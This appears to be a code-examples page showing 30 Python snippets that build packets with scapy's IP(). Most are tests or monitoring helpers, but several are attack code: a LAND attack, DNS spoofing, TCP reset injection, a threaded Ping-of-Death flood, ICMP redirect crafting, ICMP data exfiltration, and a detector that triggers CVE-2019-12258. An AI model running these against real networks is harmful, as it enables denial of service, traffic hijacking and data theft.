Python scapy.all.IP Examples

The following are 30 code examples of scapy.all.IP(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module scapy.all , or try the search function .
Example #1
Source File: arpy.py    From arpy with MIT License 11 votes vote down vote up
def rawhandle(pkt):
    if sniff_pkts:
        scapy.wrpcap(random_filename+"arpy.pcap",pkt)
        counter = 0
        while counter < 1:
            counter += 1
            layer = pkt.getlayer(counter)
            if layer.haslayer(scapy.Raw) and layer.haslayer(scapy.IP):
                print(bcolours.OKBLUE + '\n[Info] Found the following (' + layer.name + ' layer): ' + layer.src + " -> " + layer.dst + bcolours.ENDC)
                tcpdata = layer.getlayer(scapy.Raw).load
                if not opts.verbose:
                    print tcpdata
                else:
                    print layer.show()
            else:
                break 
Example #2
Source File: carpa.py    From circo with MIT License 9 votes vote down vote up
def pkt_callback(self, pkt):
        """
        Proccess DNS packets
        """
        if self.ccname in pkt[DNS].qd.qname:
            if pkt[DNS].qd.qname == '666.' + self.ccname + '.':
                print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime())
                      + 'DNS/PDNS:' + pkt[IP].src + ':ALARM Case Open!')
            else:
                text = decrypt(pkt[DNS].qd.qname.split('.')[0])
                text = text.strip()
                hexip = text.split(',')[-1]
                text = text.replace(hexip, hextoip(hexip))
                if pkt[DNS].qd.qtype == 2:
                    text = 'DNS:' + pkt[IP].src + ':' + text
                else:
                    text = 'PDNS:' + pkt[IP].src + ':' + text
                printer(self.filed, text) 
Example #3
Source File: test_pcap.py    From beagle with MIT License 8 votes vote down vote up
def test_multiple_packets():
    packets = [
        # HTTP Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=12345, dport=80)
        / HTTP()
        / HTTPRequest(Method="GET", Path="/foo", Host="https://google.com"),
        # DNS Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / UDP(sport=80, dport=53)
        / DNS(rd=1, qd=DNSQR(qtype="A", qname="google.com"), an=DNSRR(rdata="123.0.0.1")),
        # TCP Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=80, dport=5355),
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 3

    assert [e["event_type"] for e in events] == ["HTTPRequest", "DNS", "TCP"] 
Example #4
Source File: test_pcap.py    From beagle with MIT License 8 votes vote down vote up
def test_single_dns_resp_packet():

    packets = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / UDP(sport=80, dport=53)
        / DNS(rd=1, qd=DNSQR(qtype="A", qname="google.com"), an=DNSRR(rdata="123.0.0.1"))
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 1

    assert events[0]["src_mac"] == "ab:ab:ab:ab:ab:ab"
    assert events[0]["dst_mac"] == "12:12:12:12:12:12"
    assert events[0]["src_ip"] == "127.0.0.1"
    assert events[0]["dst_ip"] == "192.168.1.1"
    assert events[0]["sport"] == 80
    assert events[0]["dport"] == 53
    assert events[0]["qname"] == "google.com."
    assert events[0]["qanswer"] == "123.0.0.1"
    assert events[0]["qtype"] == "A"
    assert events[0]["event_type"] == "DNS" 
Example #5
Source File: test_pcap.py    From beagle with MIT License 7 votes vote down vote up
def test_single_tcp_packet():

    packets = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=80, dport=5355)
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 1

    assert events[0]["src_mac"] == "ab:ab:ab:ab:ab:ab"
    assert events[0]["dst_mac"] == "12:12:12:12:12:12"
    assert events[0]["src_ip"] == "127.0.0.1"
    assert events[0]["dst_ip"] == "192.168.1.1"
    assert events[0]["sport"] == 80
    assert events[0]["dport"] == 5355
    assert events[0]["event_type"] == "TCP" 
Example #6
Source File: carpa.py    From circo with MIT License 7 votes vote down vote up
def checkhost(server, works, session, ipadd, natip):
    """
    Check if host exist in Faraday
    """
    resp = session.get(server + '/_api/v2/ws/' + works + '/hosts/')
    if resp.status_code == 200:
        hostdata = resp.json()
        for hostrow in range(len(hostdata['rows'])):
            if ipadd == hostdata['rows'][hostrow]['value']['ip']:
                return int(hostdata['rows'][hostrow]['value']['id'])
        HOST['ip'] = ipadd
        HOST['description'] = 'NAT IP: ' + natip
        resp = session.post(server + '/_api/v2/ws/' + works + '/hosts/', json=HOST)
        if resp.status_code == 201:
            hostdata = resp.json()
            return hostdata['id']
        else:
            print('ERROR: API Host insert fail')
            print(resp.text)
            print(repr(HOST))
    else:
        print('ERROR: API Hosts call fail')
        print(resp.text)
    return None 
Example #7
Source File: ebcLib.py    From SMBetray with GNU General Public License v3.0 6 votes vote down vote up
def nfqueueHandler(self, packet):
		pkt 	= IP(packet.get_payload()) 			#Converts the raw packet to a scapy object
		target 	= pkt.dst
		victim 	= pkt.src
		nc 		= Connection(pkt.src, pkt.dst, pkt[self.protocol].sport, pkt[self.protocol].dport, self.protocol, self.interface) 
		key 	= hash(str(nc.getMark()))
		self.connectionManager[key] = nc

		# Mark the packet so nfqueue won't touch it on the next iteration
		packet.set_mark(self.nfqueueNum)
		# Now that we've recoreded and marked the packet,
		# let's have the kernel present the packet to us again as if it were new. 
		# This time NFqueue won't touch it, and it will be passed to the intercept servers
		packet.repeat()
		return

	# This gets seperated off into a thread, it runs nfqueue
	# which is the most critical part. Without it, the proxy
	# cannot be transparent 
Example #8
Source File: misc_thread.py    From upribox with GNU General Public License v3.0 6 votes vote down vote up
def __init__(self, ipv4):
        """Initialises the thread.

        Args:
            ipv4 (namedtuple): Contains various information about the IPv4 configuration.
            ipv4.gateway (str): The gateway's IP address.
            ipv4.network (netaddr.IPNetwork): The network IP address.
            ipv4.mac (str): MAC address of this device.
            ipv4.ip (str): IP address of this device.

        """
        threading.Thread.__init__(self)
        self.gateway = ipv4.gateway
        self.network = str(ipv4.network.network)
        self.mac = ipv4.mac
        self.ip = ipv4.ip 
Example #9
Source File: misc_thread.py    From upribox with GNU General Public License v3.0 6 votes vote down vote up
def run(self):
        """Sends IGMP general query packets using the multicast address 224.0.0.1.
        Received replies are processed by a SniffThread.
        """

        # create IGMP general query packet
        ether_part = Ether(src=self.mac)
        ip_part = IP(ttl=self._TTL, src=self.ip, dst=self._IGMP_MULTICAST)
        igmp_part = IGMP(type=self._IGMP_GENERAL_QUERY)

        # Called to explicitely fixup associated IP and Ethernet headers
        igmp_part.igmpize(ether=ether_part, ip=ip_part)

        while True:
            sendp(ether_part / ip_part / igmp_part)
            time.sleep(self._SLEEP) 
Example #10
Source File: mr.sip.py    From Mr.SIP with GNU General Public License v3.0 6 votes vote down vote up
def printInital(moduleName, client_iface, client_ip):
   print ("\033[33m[!] Client Interface: {}\033[0m".format(str(client_iface)))
   print ("\033[33m[!] Client IP: {}\033[0m".format(str(client_ip)))
   print ("\033[94m[!] {} process started. \033[0m".format(moduleName)) 
Example #11
Source File: land.py    From pina-colada with MIT License 6 votes vote down vote up
def launch(self):
        send(IP(src=self.get_value("target"), dst=self.get_value("target"))/TCP(sport=self.get_value("port"), dport=self.get_value("port")), count=self.get_value("size")) 
Example #12
Source File: dns_spoof.py    From hacking_tools with MIT License 6 votes vote down vote up
def spoof_packet(packet):
    options = get_arguments()
    dns_packet = scapy.IP(packet.get_payload())
    if dns_packet.haslayer(scapy.DNSRR):
        qname = dns_packet[scapy.DNSQR].qname
        if options.website in qname:
            dns_responce = scapy.DNSRR(rrname=qname, rdata=options.ip)
            dns_packet[scapy.DNS].an = dns_responce
            dns_packet[scapy.DNS].ancount = 1

            del dns_packet[scapy.IP].len
            del dns_packet[scapy.IP].chksum
            del dns_packet[scapy.UDP].len
            del dns_packet[scapy.UDP].chksum

            packet.set_payload(str(dns_packet))
    packet.accept() 
Example #13
Source File: tcpkiller.py    From pina-colada with MIT License 6 votes vote down vote up
def callback(self, packet):
        flags = packet.sprintf("%TCP.flags%")
        proto = IP
        if IPv6 in packet:
            proto = IPv6
        if flags == "A" and not self.ignore_packet(packet, proto):
            src_mac = packet[Ether].src
            dst_mac = packet[Ether].dst
            src_ip = packet[proto].src
            dst_ip = packet[proto].dst
            src_port = packet[TCP].sport
            dst_port = packet[TCP].dport
            seq = packet[TCP].seq
            ack = packet[TCP].ack
            if self.verbose:
                print("RST from %s:%s (%s) --> %s:%s (%s) w/ %s" % (src_ip, src_port, src_mac, dst_ip, dst_port, dst_mac, ack))
            if self.noisy:
                self.send(self.build_packet(src_mac, dst_mac, src_ip, dst_ip, src_port, dst_port, seq, proto))
            self.send(self.build_packet(dst_mac, src_mac, dst_ip, src_ip, dst_port, src_port, ack, proto)) 
Example #14
Source File: test_pcap.py    From beagle with MIT License 6 votes vote down vote up
def test_single_udp_packet():

    packets = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / UDP(sport=80, dport=5355)
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 1

    assert events[0]["src_mac"] == "ab:ab:ab:ab:ab:ab"
    assert events[0]["dst_mac"] == "12:12:12:12:12:12"
    assert events[0]["src_ip"] == "127.0.0.1"
    assert events[0]["dst_ip"] == "192.168.1.1"
    assert events[0]["sport"] == 80
    assert events[0]["dport"] == 5355
    assert events[0]["event_type"] == "UDP" 
Example #15
Source File: test_pcap.py    From beagle with MIT License 6 votes vote down vote up
def test_single_dns_query_packet():

    packets = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / UDP(sport=80, dport=53)
        / DNS(rd=1, qd=DNSQR(qtype="A", qname="google.com"))
    ]

    events = list(packets_to_datasource_events(packets).events())
    assert len(events) == 1

    assert events[0]["src_mac"] == "ab:ab:ab:ab:ab:ab"
    assert events[0]["dst_mac"] == "12:12:12:12:12:12"
    assert events[0]["src_ip"] == "127.0.0.1"
    assert events[0]["dst_ip"] == "192.168.1.1"
    assert events[0]["sport"] == 80
    assert events[0]["dport"] == 53
    assert events[0]["qname"] == "google.com."
    assert events[0]["qtype"] == "A"

    assert events[0]["event_type"] == "DNS" 
Example #16
Source File: test_networkx.py    From beagle with MIT License 6 votes vote down vote up
def test_from_datasources():
    packets_1 = [
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=12345, dport=80)
        / HTTP()
        / HTTPRequest(Method="GET", Path="/foo", Host="https://google.com")
    ]

    packets_2 = [
        # HTTP Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=12345, dport=80)
        / HTTP()
        / HTTPRequest(Method="GET", Path="/foo", Host="https://google.com"),
        # DNS Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / UDP(sport=80, dport=53)
        / DNS(rd=1, qd=DNSQR(qtype="A", qname="google.com"), an=DNSRR(rdata="123.0.0.1")),
        # TCP Packet
        Ether(src="ab:ab:ab:ab:ab:ab", dst="12:12:12:12:12:12")
        / IP(src="127.0.0.1", dst="192.168.1.1")
        / TCP(sport=80, dport=5355),
    ]

    nx = NetworkX.from_datasources(
        [packets_to_datasource_events(packets) for packets in [packets_1, packets_2]]
    )

    # Make the graph
    nx.graph()

    assert not nx.is_empty() 
Example #17
Source File: urgent11_detector.py    From urgent11-detector with GNU Affero General Public License v3.0 6 votes vote down vote up
def detect(self, dst_port):
        # Establish a valid connection
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        with contextlib.closing(sock) as legitimate_connection:
            legitimate_connection.settimeout(CFG_PACKET_TIMEOUT)
            legitimate_connection.connect((self._target, dst_port))
            _, src_port = legitimate_connection.getsockname()
            _, dst_port = legitimate_connection.getpeername()

            # DoS the connection using CVE-2019-12258
            for _ in range(CFG_RETRANSMISSION_RATE):
                # Malformed tcp options
                tcp_options = [(TCP_OPTION_WNDSCL, b'')]
                pkt = IP(dst=self._target) / TCP(sport=src_port,
                                                 dport=dst_port,
                                                 seq=0x4141,
                                                 ack=0x4141,
                                                 flags='S',
                                                 options=tcp_options)
                response = sr1(pkt, verbose=False, timeout=CFG_PACKET_TIMEOUT)

                if response is not None:
                    break

            # Check whether we managed to exploit CVE-2019-12258
            if response is None:
                self.vxworks_score = 0
                self.ipnet_score = 0
            elif (validate_flags(response, TCP_RST_FLAG) and
                  validate_ports(response, dst_port, src_port)):
                self.vxworks_score = 100
                self.ipnet_score = 100
                self.vulnerable_cves = ['CVE-2019-12258']
            else:
                self.vxworks_score = 0
                self.ipnet_score = 0 
Example #18
Source File: urgent11_detector.py    From urgent11-detector with GNU Affero General Public License v3.0 6 votes vote down vote up
def detect(self, dst_port):
        with get_safe_src_port() as src_port:
            for _ in range(CFG_RETRANSMISSION_RATE):
                # We start by adding normal TCP Options
                tcp_options = [(TCP_OPTION_MSS, struct.pack('>H', 1460)),
                               (TCP_OPTION_NOP, b''),
                               # WNDSCL option with invalid length,
                               # followed by a valid one:
                               (TCP_OPTION_WNDSCL, b''),
                               (TCP_OPTION_WNDSCL, b'\0')]

                pkt = IP(dst=self._target) / TCP(sport=src_port,
                                                 dport=dst_port,
                                                 flags=TCP_SYN_FLAG,
                                                 options=tcp_options)
                response = sr1(pkt, verbose=False, timeout=CFG_PACKET_TIMEOUT)
                if response is not None:
                    break

            if response is None:
                self.vxworks_score = 0
                self.ipnet_score = 50
            elif (validate_flags(response, TCP_RST_FLAG) and
                  validate_ports(response, dst_port, src_port)):
                self.vxworks_score = 100
                self.ipnet_score = 100
            else:
                self.vxworks_score = -100
                self.ipnet_score = -100 
Example #19
Source File: packet_processor.py    From iot-inspector-client with MIT License 6 votes vote down vote up
def get_server_hello(pkt, layer, host_state):

    if pkt[sc.IP].src in host_state.get_ip_mac_dict_copy():
        device_ip = pkt[sc.IP].src
        remote_ip = pkt[sc.IP].dst
        device_port = pkt[sc.TCP].sport
        remote_port = pkt[sc.TCP].dport
    else:
        device_ip = pkt[sc.IP].dst
        remote_ip = pkt[sc.IP].src
        device_port = pkt[sc.TCP].dport
        remote_port = pkt[sc.TCP].sport

    return {
        'type': 'server_hello',
        'version': getattr(layer, 'version', None),
        'cipher_suite': getattr(layer, 'cipher_suite', None),
        'device_ip': device_ip,
        'device_port': device_port,
        'remote_ip': remote_ip,
        'remote_port': remote_port,
        'client_ts': time.time()
    } 
Example #20
Source File: packet_processor.py    From iot-inspector-client with MIT License 6 votes vote down vote up
def _process_syn_scan(self, pkt):
        """
        Receives SYN scan response from devices.

        """
        src_mac = pkt[sc.Ether].src
        device_id = utils.get_device_id(src_mac, self._host_state)
        device_port = pkt[sc.TCP].sport

        with self._host_state.lock:
            port_list = self._host_state.pending_syn_scan_dict.setdefault(device_id, [])
            if device_port not in port_list:
                port_list.append(device_port)
                utils.log('[SYN Scan Debug] Device {} ({}): Port {}'.format(
                    pkt[sc.IP].src, device_id, device_port
                )) 
Example #21
Source File: test_amplifier_detector.py    From cotopaxi with GNU General Public License v2.0 6 votes vote down vote up
def test_reflector_sniffer_pos(self):

        args = ["8.8.8.8", "-I", "0"]
        options = amplifier_parse_args(args)
        sniffer = ReflectorSniffer(options)

        packet = IP() / UDP()
        result = sniffer.filter_action(packet)
        self.assertMultiLineEqual(
            result,
            "TARGET: 8.8.8.8 | TO TARGET packets: 0, bytes: 0 | FROM "
            "TARGET packets: 0, bytes: 0 | AMPLIF FACTOR: 0.00%",
        )

        packet = IP(src="1.1.1.1", dst="8.8.8.8") / UDP(dport=1000, sport=2000)
        result = sniffer.filter_action(packet)
        self.assertIn("-100.00%", result)
        self.assertIn(" 28 ", result)

        packet = IP(src="8.8.8.8", dst="1.1.1.1") / UDP(dport=1000, sport=2000)
        result = sniffer.filter_action(packet)
        self.assertIn(" 28 ", result)
        self.assertIn(" 0.00%", result) 
Example #22
Source File: 8_5_modify_ip_in_a_packet.py    From Python-Network-Programming-Cookbook-Second-Edition with MIT License 5 votes vote down vote up
def send_packet(protocol=None, src_ip=None, src_port=None, flags=None, dst_ip=None, dst_port=None, iface=None):
    """Modify and send an IP packet."""
    if protocol == 'tcp':
        packet = IP(src=src_ip, dst=dst_ip)/TCP(flags=flags, sport=src_port, dport=dst_port)
    elif protocol == 'udp':
        if flags: raise Exception(" Flags are not supported for udp")
        packet = IP(src=src_ip, dst=dst_ip)/UDP(sport=src_port, dport=dst_port)
    else:
        raise Exception("Unknown protocol %s" % protocol)

    send(packet, iface=iface) 
Example #23
Source File: pod.py    From quack with MIT License 5 votes vote down vote up
def POD_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False

	target_ip = target

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting POD attack...")
	
	threads_list = []

	# POD flood
	def pod_flood():
		global FINISH
		payload = random.choice(list("1234567890qwertyuiopasdfghjklzxcvbnm")) * 60000
		packet  = IP(dst = target_ip) / ICMP(id = 65535, seq = 65535) / payload

		while not FINISH:
			for i in range(16):
				send(packet, verbose = False)
				print("\033[1;32m"+"[+]"+"\033[0m"+" Packet was sent!")

	# Start threads
	for thread in range(0, threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...")
		t = Thread(target = pod_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
Example #24
Source File: syn_scan.py    From iot-inspector-client with MIT License 5 votes vote down vote up
def _syn_scan_thread_helper(self):

        while True:

            time.sleep(1)

            if not self._host_state.is_inspecting():
                continue

            # Build a random list of (ip, port).
            port_list = get_port_list()
            ip_list = self._host_state.ip_mac_dict.keys()
            ip_port_list = list(itertools.product(ip_list, port_list))
            random.shuffle(ip_port_list)

            if len(ip_list) == 0:
                continue

            utils.log('[SYN Scanning] Start scanning {} ports over IPs: {}'.format(
                len(port_list),
                ', '.join(ip_list)
            ))

            for (ip, port) in ip_port_list:

                time.sleep(0.01)

                syn_pkt = sc.IP(dst=ip) / \
                    sc.TCP(dport=port, sport=SYN_SCAN_SOURCE_PORT, flags="S", seq=SYN_SCAN_SEQ_NUM)
                sc.send(syn_pkt, verbose=0)

                with self._lock:
                    if not self._active:
                        return 
Example #25
Source File: flooder_utility.py    From pentesting-multitool with GNU General Public License v3.0 5 votes vote down vote up
def generator(self, n, filename):

        time = 0.00114108 * n + 0.157758
        minutes = time/60

        print('Generating packets, it will take %s seconds, moreless (%s, minutes)' % (time, minutes))

        pkgs = [IP(dst='10.0.0.1')/ICMP() for i in range(n)]
        wrpcap(filename, pkgs)

        print('%s packets generated.' % (n)) 
Example #26
Source File: ICMP.py    From MITMf with GNU General Public License v3.0 5 votes vote down vote up
def build_icmp(self):
        pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
              IP(src=self.target, dst=self.gateway)/UDP()

        return pkt 
Example #27
Source File: packet_processor.py    From iot-inspector-client with MIT License 5 votes vote down vote up
def get_client_cert(pkt, layer):

    layer_str = repr(layer)

    pubkey = ''
    signature = ''

    match = re.search(r'( pubkey=<[^>]+>)', layer_str)
    if match:
        pubkey = hashlib.sha256(match.group(1)).hexdigest()

    match = re.search(r'( signature=<[^>]+>)', layer_str)
    if match:
        signature = hashlib.sha256(match.group(1)).hexdigest()

    return {
        'type': 'client_cert',
        'pubkey': pubkey,
        'signature': signature,
        'hash': hashlib.sha256(layer_str).hexdigest(),
        'remote_ip': pkt[sc.IP].dst,
        'remote_port': pkt[sc.TCP].dport,
        'device_ip': pkt[sc.IP].src,
        'device_port': pkt[sc.TCP].sport,
        'client_ts': time.time()
    } 
Example #28
Source File: 18_5_modify_ip_in_a_packet.py    From Python-Network-Programming with MIT License 5 votes vote down vote up
def send_packet(protocol=None, src_ip=None, src_port=None, flags=None, dst_ip=None, dst_port=None, iface=None):
    """Modify and send an IP packet."""
    if protocol == 'tcp':
        packet = IP(src=src_ip, dst=dst_ip)/TCP(flags=flags, sport=src_port, dport=dst_port)
    elif protocol == 'udp':
        if flags: raise Exception(" Flags are not supported for udp")
        packet = IP(src=src_ip, dst=dst_ip)/UDP(sport=src_port, dport=dst_port)
    else:
        raise Exception("Unknown protocol %s" % protocol)

    send(packet, iface=iface) 
Example #29
Source File: icmp.py    From DET with MIT License 5 votes vote down vote up
def send(data):
    data = base64.b64encode(data)
    app_exfiltrate.log_message(
        'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data)))
    scapy.sendp(scapy.Ether() /
                scapy.IP(dst=config['target']) / scapy.ICMP() / data, verbose=0) 
Example #30
Source File: scraps.py    From Naumachia with MIT License 5 votes vote down vote up
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.TCP)):
                logger.debug(pkt.sprintf("[%Ether.src%]%IP.src%:%TCP.sport% > [%Ether.dst%]%IP.dst%:%TCP.dport% %TCP.flags%"))
                if pkt[scapy.Ether].dst == str(net.ifhwaddr(self.iface)) and pkt[scapy.TCP].flags == 2:
                    self.bindaddr, self.bindport = pkt[scapy.IP].dst, pkt[scapy.TCP].dport
                    if self._thread is None or not self._thread.is_alive():
                        self._thread = threading.Thread(target=self.intercept)
                        self._thread.start()